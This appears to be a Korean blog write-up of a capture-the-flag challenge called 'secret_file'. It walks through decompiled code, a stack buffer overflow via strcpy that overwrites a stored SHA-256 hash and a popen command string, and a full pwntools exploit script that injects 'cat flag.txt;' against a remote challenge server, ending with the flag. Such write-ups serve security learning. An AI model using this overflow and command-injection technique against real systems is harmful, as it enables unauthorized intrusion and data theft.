ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • secret_file
    카테고리 없음 2021. 2. 11. 05:36

    Disassembly 디스어셈블리


    void flag(int64_t addr)
    {
        memset(addr, 0, 0x20)
        snprintf(addr + 0x100, 0x1b, "%s", "/bin/cat ./secret_data.asc");
        snprintf(addr + 0x11b, 0x41, 0x1014, "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127");
    }
    void sha(int64_t key, int64_t dest, int64_t len)
    {
        memset(dest, 0, 0x20)
        SHA256_Init(src);
        SHA256_Update(src, key, len);
        SHA256_Final(dest, src);
    }
    int32_t main(void)
    {
        flag(auStack760);
        uStack776 = 0;
        uStack768 = 0;
        iVar3 = getline(&uStack768, &uStack776, *_reloc.stdin);
        if (iVar3 != -1) {
            puVar4 = (undefined *)strrchr(uStack768, 10);
            if (puVar4 != (undefined *)0x0) {
                *puVar4 = 0;
                puVar4 = auStack412;
                strcpy(auStack760, uStack768);
                sha(auStack760, puVar4, 0x100);
                puVar6 = auStack380;
                do {
                    uVar1 = *puVar4;
                    puVar7 = puVar6 + 2;
                    puVar4 = puVar4 + 1;
                    snprintf(puVar6, 3, "%02x", uVar1);
                    puVar6 = puVar7;
                } while (puVar7 != auStack316);
                iVar2 = strcmp(auStack477, auStack380);
                if (iVar2 == 0) {
                    iVar3 = popen(auStack504, 0x102c);
                    if (iVar3 != 0) {
                        while( true ) {
                            iVar5 = fgets(auStack312, 0x100, iVar3);
                            if (iVar5 == 0) break;
                            printf(0x1014, auStack312);
                        }
                        fclose(iVar3);
                        return;
                    }
                } else {
                    puts("wrong password!");
                }
            }
        }
    }

    main은 getline으로 한 줄을 입력받아 처음 0x100바이트를 sha256으로 암호화한 값을 flag 함수를 통해 미리 저장한 0x40 길이의 hex와 비교한다. 일치할 경우 popen함수를 통해 ./secret_data.asc를 여는 명령이 실행된다.

    Buffer Overflow


    getline으로 입력받은 문자열을 strcpy로 스택에 옮기는 과정에서 버퍼 오버플로우가 발생하고, 이로 인해 popen의 인자인 auStack504와 strcmp의 비교 대상인 austack477을 덮을 수 있다.

     

    따라서 처음 0x100바이트를 아무 문자열이나 입력한 후, sha256으로 복호화한 값으로 austack477을 덮어주면auStack504에 해당하는 명령어를 실행할 수 있다. popen 함수는 Command Injection이 가능하므로 flag를 읽어서 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    from hashlib import sha256
    
    binary = "./secret"
    lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so"
    server = "111.200.241.244"
    port = 51818
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    key = b"A"*0x100
    
    command = b"cat flag.txt;"
    command += b" "*(27-len(command))
    
    payload = key
    payload += command
    payload += sha256(key).hexdigest().encode()
    p.sendline(payload)
    
    p.interactive()

    Flag

    cyberpeace{71b7c185aa623b212143d0e953af6b5a}

    댓글

Designed by Tistory.